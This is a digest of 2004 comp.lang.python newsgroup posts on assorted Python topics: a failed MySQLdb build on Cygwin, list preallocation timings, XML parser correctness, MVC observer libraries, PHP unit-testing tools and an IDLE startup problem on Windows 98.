From: lcalzada1 at earthlink.net (Louis Calzada)
Date: Tue, 03 Feb 2004 12:26:46 GMT
Subject: test
Message-ID: <asMTb.31592$oK1.16880@newssvr33.news.prodigy.com>

Hello




From http  Mon Feb  2 03:48:20 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 00:48:20 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
	<bvkgjl$1r1$1@panix1.panix.com>
	<7x1xpece0g.fsf@ruckus.brouhaha.com>
	<bvkln6$d2k$1@news.service.uci.edu>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
	<bvktq3$k3b$1@news.service.uci.edu>
Message-ID: <7xvfmp7tpn.fsf@ruckus.brouhaha.com>

Josiah Carlson <jcarlson at nospam.uci.edu> writes:
> As of right now, says that > 217,000 users have updated their
> livejournal in the last 24 hours.  That is 217,000 database writes in
> the last 24 hours.  Nothing to shake a stick at.

Well, that depends on what the hardware is.  Does anyone know?

> However, most every post has the option of people commenting on
> it.  Those stats don't count comments, which all require a DB write.

Have you looked at the code and confirmed that each comment post
requires a DB write in the usual sense?  Part of this discussion has been 
about how to avoid DB writes for such common operations.

> > Another informative number (about 1/10th as many visitors/day as
> > Slashdot gets).
> 
> Or really, from my above numbers, > 200,000 visitors/day.

That really is pretty impressive, I had no idea LJ was that big.  I
wonder how much bandwidth they're using, what their expenses are, how
many staff they have, how many paying users, etc.
> 
> > I have some curiosity about how to go about that (hence this thread)
> > but at the moment I don't have powerful enough motivation to actually
> > want to do the work.
> 
> Yeah.  The trick is that most anything that is really intellectually
> stimulating, is difficult to do.  Solving the dynamic-page-generation
> problem can be intellectually stimulating, but it is not easy.  Adding
> into it the page formatting with templates problem, database load,
> bandwidth problem, etc.  It starts getting unweildy very quickly.

I don't see any of this stuff as being terribly difficult, it's just
work, and I'm not currently involved in operating such a site, so it's
not something that I have a burning desire to work on for free.  There
are times when I've been interested in running such a site, but the
headaches involved in that would probably be even worse than writing
the code.

LJ doesn't really have the right format for a discussion board, but
maybe it could be adapted.


From mgerrans at mindspring.com  Sun Feb 22 17:53:28 2004
From: mgerrans at mindspring.com (Matt Gerrans)
Date: Sun, 22 Feb 2004 22:53:28 GMT
Subject: Some source code
References: <d8778a53.0402212014.7a292318@posting.google.com>
	<c1adgj$qgl$1@atlantis.news.tpi.pl>
	<c1am8a$gpk$5@atlantis.news.tpi.pl>
Message-ID: <Ipa_b.4072$yZ1.3201@newsread2.news.pas.earthlink.net>

> You still call this code "pythonic"?

May as well do it in Perl, where it will be shorter and even more
unreadable!




From elainejackson7355 at home.com  Fri Feb 13 17:57:03 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 13 Feb 2004 22:57:03 GMT
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0itcq$hno$1@news-reader1.wanadoo.fr>
Message-ID: <3DcXb.493285$ts4.180737@pd7tw3no>

"Eric Brunel" <eric.brunel at N0SP4M.com> wrote in message
news:c0itcq$hno$1 at news-reader1.wanadoo.fr...

| If you don't already have it, download the source distribution of Python and
go
| to the Demo/tkinter/matt sub-directory. There are many examples here that you
| can use to do what you want; see for example canvas-moving-w-mouse.py

I don't know where to obtain this. Searching python.org with the phrase 'python
source distribution' turns up a bunch of stuff about using distutils.




From claird at lairds.com  Wed Feb 25 22:49:11 2004
From: claird at lairds.com (Cameron Laird)
Date: Thu, 26 Feb 2004 03:49:11 -0000
Subject: Foundations of computing languages (was: How does Ruby compare to
	Python?? How good is DESIGN of Rubycompared to Python?)
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
Message-ID: <103qr5nhpiojv25@corp.supernews.com>

In article <t5fq30l29nidjh1tsksm8jlld03ff3av5o at 4ax.com>,
Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
			.
			.
			.
>separated - hence a lot of the OO fuss. Currying is standard in
>functional languages. But currying predates object orientation by a
>long time. In fact, I'm pretty sure it was invented about a century
>ago as math (lambda calculus) rather than as programming, though I
>could easily be confused.
			.
			.
			.
Ouch!  I'm old enough to take some of this personally.
Unless you're making some extremely recondite point
(about Skolem's influences?), "a century" is too rough
an approximation for me.  Church and Kleene introduced
the lambda calculus in the '30s; Schoenfinkel, then 
Curry, invented currying the decade before.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From dswj at plasa.com  Mon Feb 16 23:55:34 2004
From: dswj at plasa.com (dw)
Date: Tue, 17 Feb 2004 11:55:34 +0700
Subject: mysqldb on cygwin
Message-ID: <web-9202501@b2.c.plasa.com>

Pehaba,

   does anyone knows how to install MySQLdb on cygwin?
   
   - test device: MySQLdb 0.9.2.0 targz + cygwin 
1.5.7-cr-0x9e + python
   2.3.3 [GCC 3.3.1 (cygming special)] on cygwin + mysql 
4.0.17 win32
   - modified setup.py's using thread library.. NO, 
library + include
   path also
   - result:

dody at D /tmp/MySQL-python-0.9.2
$ python setup.py build
running build
running build_py
running build_ext
building '_mysql' extension
creating build/temp.cygwin-1.5.7-i686-2.3
gcc -fno-strict-aliasing -DNDEBUG -g -O3 -Wall 
-Wstrict-prototypes -I/cygdrive/c
/mysql/include -I/usr/include/python2.3 -c _mysql.c -o 
build/temp.cygwin-1.5.7-i
686-2.3/_mysql.o -DMS_WIN32
In file included from _mysql.c:41:
/cygdrive/c/mysql/include/mysql.h:42:1: warning: "STDCALL" 
redefined
In file included from /usr/include/w32api/windows.h:48,
                  from _mysql.c:34:
/usr/include/w32api/windef.h:105:1: warning: this is the 
location of the previou
s definition
_mysql.c: In function `_mysql_ConnectionObject_info':
_mysql.c:1150: warning: assignment discards qualifiers 
from pointer target type
_mysql.c: In function `_mysql_ConnectionObject_stat':
_mysql.c:1379: warning: assignment discards qualifiers 
from pointer target type
_mysql.c: At top level:
_mysql.c:2007: warning: initialization from incompatible 
pointer type
_mysql.c:2096: warning: initialization from incompatible 
pointer type
gcc -shared -Wl,--enable-auto-image-base 
build/temp.cygwin-1.5.7-i686-2.3/_mysql
..o -L/cygdrive/c/mysql/lib/opt 
-L/usr/lib/python2.3/config -lmysqlclient -lz -lp
ython2.3 -o build/lib.cygwin-1.5.7-i686-2.3/_mysql.dll
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x67): In 
function `_mysql_Excep
tion':
/tmp/MySQL-python-0.9.2/_mysql.c:110: undefined reference 
to `_mysql_errno'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xdf):/tmp/MySQL-python-0.9.2/_m
ysql.c:159: undefined reference to `_mysql_error'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2d5): In 
function `_mysql__fet
ch_row':
/tmp/MySQL-python-0.9.2/_mysql.c:924: undefined reference 
to `_mysql_fetch_row'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x329):/tmp/MySQL-python-0.9.2/_
mysql.c:944: undefined reference to `_mysql_errno'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x366):/tmp/MySQL-python-0.9.2/_
mysql.c:927: undefined reference to `_mysql_fetch_row'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xbf0): In 
function `_mysql_thre
ad_safe':
/tmp/MySQL-python-0.9.2/_mysql.c:174: undefined reference 
to `_mysql_thread_safe
'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xccb): In 
function `_mysql_Resu
ltObject_Initialize':
/tmp/MySQL-python-0.9.2/_mysql.c:212: undefined reference 
to `_mysql_use_result'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xceb):/tmp/MySQL-python-0.9.2/_
mysql.c:221: undefined reference to `_mysql_num_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xd16):/tmp/MySQL-python-0.9.2/_
mysql.c:224: undefined reference to `_mysql_fetch_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0xdca):/tmp/MySQL-python-0.9.2/_
mysql.c:214: undefined reference to `_mysql_store_result'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1007): 
In function `_mysql_Con
nectionObject_Initialize':
/tmp/MySQL-python-0.9.2/_mysql.c:315: undefined reference 
to `_mysql_init'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1030):/tmp/MySQL-python-0.9.2/
_mysql.c:322: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1055):/tmp/MySQL-python-0.9.2/
_mysql.c:326: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x10ab):/tmp/MySQL-python-0.9.2/
_mysql.c:333: undefined reference to `_mysql_real_connect'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x10f0):/tmp/MySQL-python-0.9.2/
_mysql.c:332: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1106):/tmp/MySQL-python-0.9.2/
_mysql.c:330: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1120):/tmp/MySQL-python-0.9.2/
_mysql.c:328: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1146):/tmp/MySQL-python-0.9.2/
_mysql.c:318: undefined reference to `_mysql_options'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x12c6): 
In function `_mysql_Con
nectionObject_close':
/tmp/MySQL-python-0.9.2/_mysql.c:420: undefined reference 
to `_mysql_close'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1314): 
In function `_mysql_Con
nectionObject_affected_rows':
/tmp/MySQL-python-0.9.2/_mysql.c:441: undefined reference 
to `_mysql_affected_ro
ws'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x137d): 
In function `_mysql_deb
ug':
/tmp/MySQL-python-0.9.2/_mysql.c:457: undefined reference 
to `_mysql_debug'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x13e3): 
In function `_mysql_Con
nectionObject_dump_debug_info':
/tmp/MySQL-python-0.9.2/_mysql.c:477: undefined reference 
to `_mysql_dump_debug_
info'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1464): 
In function `_mysql_Con
nectionObject_errno':
/tmp/MySQL-python-0.9.2/_mysql.c:497: undefined reference 
to `_mysql_errno'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x14c4): 
In function `_mysql_Con
nectionObject_error':
/tmp/MySQL-python-0.9.2/_mysql.c:513: undefined reference 
to `_mysql_error'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x157a): 
In function `_mysql_esc
ape_string':
/tmp/MySQL-python-0.9.2/_mysql.c:541: undefined reference 
to `_mysql_real_escape
_string'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x15bd):/tmp/MySQL-python-0.9.2/
_mysql.c:544: undefined reference to 
`_mysql_escape_string'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1694): 
In function `_mysql_str
ing_literal':
/tmp/MySQL-python-0.9.2/_mysql.c:581: undefined reference 
to `_mysql_real_escape
_string'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x16fc):/tmp/MySQL-python-0.9.2/
_mysql.c:584: undefined reference to 
`_mysql_escape_string'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1dc1): 
In function `_mysql_Res
ultObject_describe':
/tmp/MySQL-python-0.9.2/_mysql.c:730: undefined reference 
to `_mysql_num_fields'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1dcf):/tmp/MySQL-python-0.9.2/
_mysql.c:731: undefined reference to `_mysql_fetch_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1ebd): 
In function `_mysql_Res
ultObject_field_flags':
/tmp/MySQL-python-0.9.2/_mysql.c:766: undefined reference 
to `_mysql_num_fields'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1ecb):/tmp/MySQL-python-0.9.2/
_mysql.c:767: undefined reference to `_mysql_fetch_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1f63): 
In function `_mysql_row
_to_tuple':
/tmp/MySQL-python-0.9.2/_mysql.c:814: undefined reference 
to `_mysql_num_fields'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x1f86):/tmp/MySQL-python-0.9.2/
_mysql.c:816: undefined reference to 
`_mysql_fetch_lengths'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2056): 
In function `_mysql_row
_to_dict':
/tmp/MySQL-python-0.9.2/_mysql.c:840: undefined reference 
to `_mysql_num_fields'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2087):/tmp/MySQL-python-0.9.2/
_mysql.c:842: undefined reference to 
`_mysql_fetch_lengths'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x209b):/tmp/MySQL-python-0.9.2/
_mysql.c:843: undefined reference to `_mysql_fetch_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x23e6): 
In function `_mysql_row
_to_dict_old':
/tmp/MySQL-python-0.9.2/_mysql.c:879: undefined reference 
to `_mysql_num_fields'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2417):/tmp/MySQL-python-0.9.2/
_mysql.c:881: undefined reference to 
`_mysql_fetch_lengths'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x242b):/tmp/MySQL-python-0.9.2/
_mysql.c:882: undefined reference to `_mysql_fetch_fields'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x27df): 
In function `_mysql_Res
ultObject_fetch_row':
/tmp/MySQL-python-0.9.2/_mysql.c:1003: undefined reference 
to `_mysql_num_rows'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x28e4): 
In function `_mysql_Con
nectionObject_change_user':
/tmp/MySQL-python-0.9.2/_mysql.c:1050: undefined reference 
to `_mysql_change_use
r'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2964): 
In function `_mysql_Con
nectionObject_character_set_name':
/tmp/MySQL-python-0.9.2/_mysql.c:1072: undefined reference 
to `_mysql_character_
set_name'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x29ae): 
In function `_mysql_get
_client_info':
/tmp/MySQL-python-0.9.2/_mysql.c:1088: undefined reference 
to `_mysql_get_client
_info'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2a04): 
In function `_mysql_Con
nectionObject_get_host_info':
/tmp/MySQL-python-0.9.2/_mysql.c:1103: undefined reference 
to `_mysql_get_host_i
nfo'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2a64): 
In function `_mysql_Con
nectionObject_get_proto_info':
/tmp/MySQL-python-0.9.2/_mysql.c:1118: undefined reference 
to `_mysql_get_proto_
info'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2ac4): 
In function `_mysql_Con
nectionObject_get_server_info':
/tmp/MySQL-python-0.9.2/_mysql.c:1133: undefined reference 
to `_mysql_get_server
_info'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2b26): 
In function `_mysql_Con
nectionObject_info':
/tmp/MySQL-python-0.9.2/_mysql.c:1150: undefined reference 
to `_mysql_info'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2bb1): 
In function `_mysql_Con
nectionObject_insert_id':
/tmp/MySQL-python-0.9.2/_mysql.c:1186: undefined reference 
to `_mysql_insert_id'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2c51): 
In function `_mysql_Con
nectionObject_kill':
/tmp/MySQL-python-0.9.2/_mysql.c:1205: undefined reference 
to `_mysql_kill'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2cd4): 
In function `_mysql_Con
nectionObject_field_count':
/tmp/MySQL-python-0.9.2/_mysql.c:1228: undefined reference 
to `_mysql_field_coun
t'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2d37): 
In function `_mysql_Res
ultObject_num_fields':
/tmp/MySQL-python-0.9.2/_mysql.c:1242: undefined reference 
to `_mysql_num_fields
'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2da7): 
In function `_mysql_Res
ultObject_num_rows':
/tmp/MySQL-python-0.9.2/_mysql.c:1258: undefined reference 
to `_mysql_num_rows'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2e23): 
In function `_mysql_Con
nectionObject_ping':
/tmp/MySQL-python-0.9.2/_mysql.c:1282: undefined reference 
to `_mysql_ping'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2ed9): 
In function `_mysql_Con
nectionObject_query':
/tmp/MySQL-python-0.9.2/_mysql.c:1305: undefined reference 
to `_mysql_real_query
'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x2f81): 
In function `_mysql_Con
nectionObject_select_db':
/tmp/MySQL-python-0.9.2/_mysql.c:1335: undefined reference 
to `_mysql_select_db'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x3013): 
In function `_mysql_Con
nectionObject_shutdown':
/tmp/MySQL-python-0.9.2/_mysql.c:1356: undefined reference 
to `_mysql_shutdown'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x30a1): 
In function `_mysql_Con
nectionObject_stat':
/tmp/MySQL-python-0.9.2/_mysql.c:1379: undefined reference 
to `_mysql_stat'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x325e): 
In function `_mysql_Con
nectionObject_thread_id':
/tmp/MySQL-python-0.9.2/_mysql.c:1441: undefined reference 
to `_mysql_thread_id'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x3479): 
In function `_mysql_Con
nectionObject_dealloc':
/tmp/MySQL-python-0.9.2/_mysql.c:420: undefined reference 
to `_mysql_close'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x35df): 
In function `_mysql_Res
ultObject_data_seek':
/tmp/MySQL-python-0.9.2/_mysql.c:1521: undefined reference 
to `_mysql_data_seek'

build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x3660): 
In function `_mysql_Res
ultObject_row_seek':
/tmp/MySQL-python-0.9.2/_mysql.c:1537: undefined reference 
to `_mysql_row_tell'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x3675):/tmp/MySQL-python-0.9.2/
_mysql.c:1538: undefined reference to `_mysql_row_seek'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x36d7): 
In function `_mysql_Res
ultObject_row_tell':
/tmp/MySQL-python-0.9.2/_mysql.c:1553: undefined reference 
to `_mysql_row_tell'
build/temp.cygwin-1.5.7-i686-2.3/_mysql.o(.text+0x372b): 
In function `_mysql_Res
ultObject_dealloc':
/tmp/MySQL-python-0.9.2/_mysql.c:1562: undefined reference 
to `_mysql_free_resul
t'
collect2: ld returned 1 exit status
error: command 'gcc' failed with exit status 1

dody at D /tmp/MySQL-python-0.9.2
$

===========================================================================================
Akses Internet Prabayar TELKOMNet-Prepaid,
 nominal Rp.10.000- Rp.150.000. 
Dapatkan di Plasa - Plasa TELKOM terdekat (khusus di Jawa Timur)
===========================================================================================



From __peter__ at web.de  Wed Feb 18 08:33:26 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 14:33:26 +0100
Subject: Memory pre-allocation for large lists
References: <ift530d51l8td0uoohm5t9ad96pq5n4e3i@4ax.com>
	<c0v3il$bk3$1@panix2.panix.com>
	<698f09f8.0402180521.1315d2c@posting.google.com>
Message-ID: <c0vpj7$l9a$05$1@news.t-online.com>

Jeremy Fincher wrote:

> functor% python /usr/lib/python2.3/timeit.py 'L = [None]*1000' 'for _
> in xrange(1000): pass'
> 1000 loops, best of 3: 248 usec per loop
> functor% python /usr/lib/python2.3/timeit.py 'L = []' 'for _ in
> xrange(1000): L.append(None)'
> 1000 loops, best of 3: 1.88e+03 usec per loop
> 
> So there's a factor of 7.5 difference in speed there.  I doubt it
> matters, but it at least lends some credibility to the idea that
> preallocation might be useful.

In the real world, (some of) the default values have to be overwritten,
which reduces the speed advantage to a factor of 2:

$ timeit.py 'L=[None]*1000' 'for i in xrange(1000): L[i] = None'
1000 loops, best of 3: 338 usec per loop
$ timeit.py 'L=[]' 'for i in xrange(1000): L.append(None)'
1000 loops, best of 3: 660 usec per loop

Peter


From piet at cs.uu.nl  Tue Feb 17 09:16:03 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 17 Feb 2004 15:16:03 +0100
Subject: Simple addition
References: <LWPXb.58968$n62.56888@twister.nyroc.rr.com>
	<4AQXb.25652$646.5355@newssvr25.news.prodigy.com>
	<wzisi7b9nj.fsf@cs.uu.nl> <3OadnQovPKs4nqzdRVn-hQ@comcast.com>
	<ad052e5c.0402161649.5e629151@posting.google.com>
	<OogYb.34884$hR.857112@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <wz3c99bxlo.fsf@cs.uu.nl>

>>>>> "Andrew Koenig" <ark at acm.org> (AK) wrote:

AK> Many moons ago, Guy Steele proposed an elegant pair of rules for converting
AK> between decimal and internal floating-point, be it binary, decimal,
AK> hexadecimal, or something else entirely:

That was exactly what I was suggesting. I even included the bib reference.
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From tim at remove_if_not_spam.digitig.co.uk  Wed Feb 18 06:57:27 2004
From: tim at remove_if_not_spam.digitig.co.uk (Tim Rowe)
Date: Wed, 18 Feb 2004 11:57:27 +0000
Subject: ProtoCiv: porting Freeciv to Python CANNED
References: <bsd101$c1oj1$1@ID-207230.news.uni-berlin.de>
	<bu0k7e$bvkci$1@ID-207230.news.uni-berlin.de>
	<pan.2004.01.14.01.17.00.970198@fakeemail.com>
	<bu2ana$bmpci$1@ID-207230.news.uni-berlin.de>
	<Xns94711BBF5F7D6JanC@213.119.4.35>
	<LiwNb.8126$f97.2162@fe3.columbus.rr.com>
	<PQMNb.11701$1e.731@newsread2.news.pas.earthlink.net>
	<mailman.431.1074263878.12720.python-list@python.org>
Message-ID: <jnk630537lkhp9bkhmcjbhtoiuato1bjbl@4ax.com>

On Fri, 16 Jan 2004 09:37:39 -0500, Fran?ois Pinard
<pinard at iro.umontreal.ca> wrote:

>[Andrew Dalke]
>> My favorite program for this is /bin/true.  On some machines it is 0
>> bytes long.
>
>Yet, the AT&T empty file for True is heavily copyrighted.  Stretching
>the meaning a bit (maybe more than a bit!), it amuses me to think that
>nobody may produce an empty file anymore without being indebted to them.

Ah! So /that's/ why most versions contain a revision control comment
(and nothing else).


From reply.in.the.newsgroup at my.address.is.invalid  Thu Feb 26 17:17:42 2004
From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman)
Date: Thu, 26 Feb 2004 23:17:42 +0100
Subject: How to obscure a password
References: <mailman.180.1077825257.8594.python-list@python.org>
	<403E6B2E.C915BE48@engcorp.com>
Message-ID: <h1ss30ld9ir4pgi7s3d9c3q1v7r76519rt@4ax.com>

Peter Hansen:
>Is it that you're going to be sending this password to a remote system,
>so basically you've got a utility which allows storing the password
>locally so that a user doesn't have to retype it but can still access
>the remote system?  (If that's the case, you could title this utility
>"security-removal-tool" because that's what it is.

Many - if not all - FTP-tools, e-mail tools, web browsers etc. support it
though. I guess they rely on the security of the local file system.

-- 
Ren? Pijlman


From philrob at HOLYflatnetSHIT.net  Fri Feb 27 16:12:38 2004
From: philrob at HOLYflatnetSHIT.net (Phil Roberts)
Date: Fri, 27 Feb 2004 15:12:38 -0600
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
Message-ID: <Xns949CD7C3BD8EEphilroberts@216.196.97.132>

With total disregard for any kind of safety measures "Erik
Johnson" <ej.at.wellkeeper at dot.com> leapt forth and uttered: 

> 4) PyUnit - we would like to develop a robust set of tests and
> be able to do regression testing. I'm not aware of a
> JUnit/PyUnit analog in PHP. Are you?
> 

SimpleTest: http://www.lastcraft.com/simple_test.php
PHPUnit (1):http://www.students.cs.uu.nl/people/voostind/index.php?
page=software
PHPUnit (2):http://pear.php.net/package/PHPUnit
PHPUnit (3):http://phpunit.sourceforge.net/

Having three test suites all called PHPUnit is a tad confusing...


-- 
Phil Roberts | Dork Pretending To Be Hard | http://www.flatnet.net/


From jimmy at retzlaff.com  Sat Feb 28 14:25:48 2004
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Sat, 28 Feb 2004 11:25:48 -0800
Subject: example code to access some C++ classes in a DLL
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F1B906D@MAYOR.retzlaff.com>

Torsten Mohr wrote:

> i have written a DLL that implements some C++ classes and
> their methods.  Now i would like to make the classes and
> their methods known to python.

Boost.Python is very good at this.

http://www.boost.org/libs/python/doc/

Jimmy




From no at spam.edu  Thu Feb 12 13:26:22 2004
From: no at spam.edu (DH)
Date: Thu, 12 Feb 2004 12:26:22 -0600
Subject: does python support mvc  architecture
In-Reply-To: <7jysux2l.fsf@python.net>
References: <f046efac.0402120627.948b7ed@posting.google.com>
	<102n468gt8klr44@news.supernews.com> <7jysux2l.fsf@python.net>
Message-ID: <Z_idnfrhd6PRWLbdRVn-uQ@comcast.com>


>Does python support MVC architecture? Java has register & notify
>obsever methods in javax.util . Does python has these functions. If
>not then how to register the views with the models & how to notify the
>views that the model has been updated??

The one that is closest to Java's implementation is here:
http://jamesthornton.com/eckel/TIPython/code/util/
but see also:
http://sra.itc.it/people/cavada/mvc/index.html
http://sourceforge.net/projects/pydispatcher/

And various python frameworks have Observable support built-in, such as 
Twisted, anygui, WCK, etc.


From jonas at jonasgalvez.com  Sun Feb 22 09:32:59 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Sun, 22 Feb 2004 11:32:59 -0300
Subject: learning to program with Python
References: <4038BE6A.5010902@iol.pt>
Message-ID: <c1af4c$3m1$1@sea.gmane.org>

> [Ricardo]
> the book says that it should be done like this, but when i finnish
> the  5th line(if corPelo != None) and press ENTER, it gives me the
> error:

The syntax for a if block is the following:

    if expression:
        statements

Notice the colon after the expression.


Jonas






From ipellew at pipemedia.co.uk  Fri Feb 20 10:36:07 2004
From: ipellew at pipemedia.co.uk (Ian Pellew)
Date: 20 Feb 2004 07:36:07 -0800
Subject: Gadfly Q
Message-ID: <30875970.0402200736.26a18e2c@posting.google.com>

Hi all;

Is there a Windows version of gadfly anywhere?

All my searching gets me to Linux stuff
(not that I have anything against Linux, rather I use Solaris)

Regards
Ian


From martin at v.loewis.de  Wed Feb 11 12:16:26 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2004 18:16:26 +0100
Subject: package similar to XML::Simple
In-Reply-To: <40294D36.B0AEE3C4@engcorp.com>
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com>
Message-ID: <c0do15$tge$02$1@news.t-online.com>

Peter Hansen wrote:
>>If a parser prints a message "not a valid 8-bit XML character", then it
>>can't be an XML parser. XML does not have a notion even remotely related
>>to "8-bit characters".
> 
> 
> Aren't we talking about semantics now, and rather tritely at that?  

Not at all. This message indicates a lack of understanding of basic
principles of XML on the side of the authors of this error message.
One of the beauties of XML is interoperability and portability. Any
implementation that chooses to subset XML will sooner or later learn
that the mere idea of subsetting XML is misguided, and will give
up all limitations. Any user of such an implementation will get bitten
by the limitations sooner or later, and it is telling that Uche got
bitten at the very first document that he passed to the tool.

My favorite example of a (successful) correction of attitude is
XML-RPC. The original XML-RPC spec said that the string type is
used to represent "ASCII strings". People were asking whether this
is a constraint on the XML documents, and David Winer was responding
that you can use "full XML" in XML-RPC, with no restrictions. People
then were asking what else he meant by "ASCII strings", and eventually,
he simply removed the "ASCII" classification in the spec, thereby
allowing all characters that are allowed in XML.

> I'd call that throwing out the baby with the
> bath-water, if it means (a) nobody reports that as a bug, and (b) someone
> who could benefit from it even with that defect fails to do so because 
> it's illegal and immoral to label it an "XML parser", much as it might 
> want to be one, until it's perfect.

I don't use that package, so I'm in no position to report bugs on it.
With what I know now, I would discourage usage of the package at its
current state even for people who "could benefit from it".

Regards,
Martin



From theller at python.net  Mon Feb 16 15:30:48 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 16 Feb 2004 21:30:48 +0100
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
Message-ID: <fzdalqbr.fsf@python.net>

kent at cpttm.org.mo (Kent Tong) writes:

> Hi all,
>
> I've installed Python 2.3 using the Windows installer
> downloaded from www.python.org. I'm using Win98. The
> installation process went well without any problem.
> However, double-clicking the "IDLE (Python GUI)" does
> nothing. The cursor changes to a hour-glass for about
> 1 second and then nothing happens. The "Python (command 
> line)" works.
>
> Any help? Thanks!

Can you try to disable your firewall software, if you have one.

Thomas


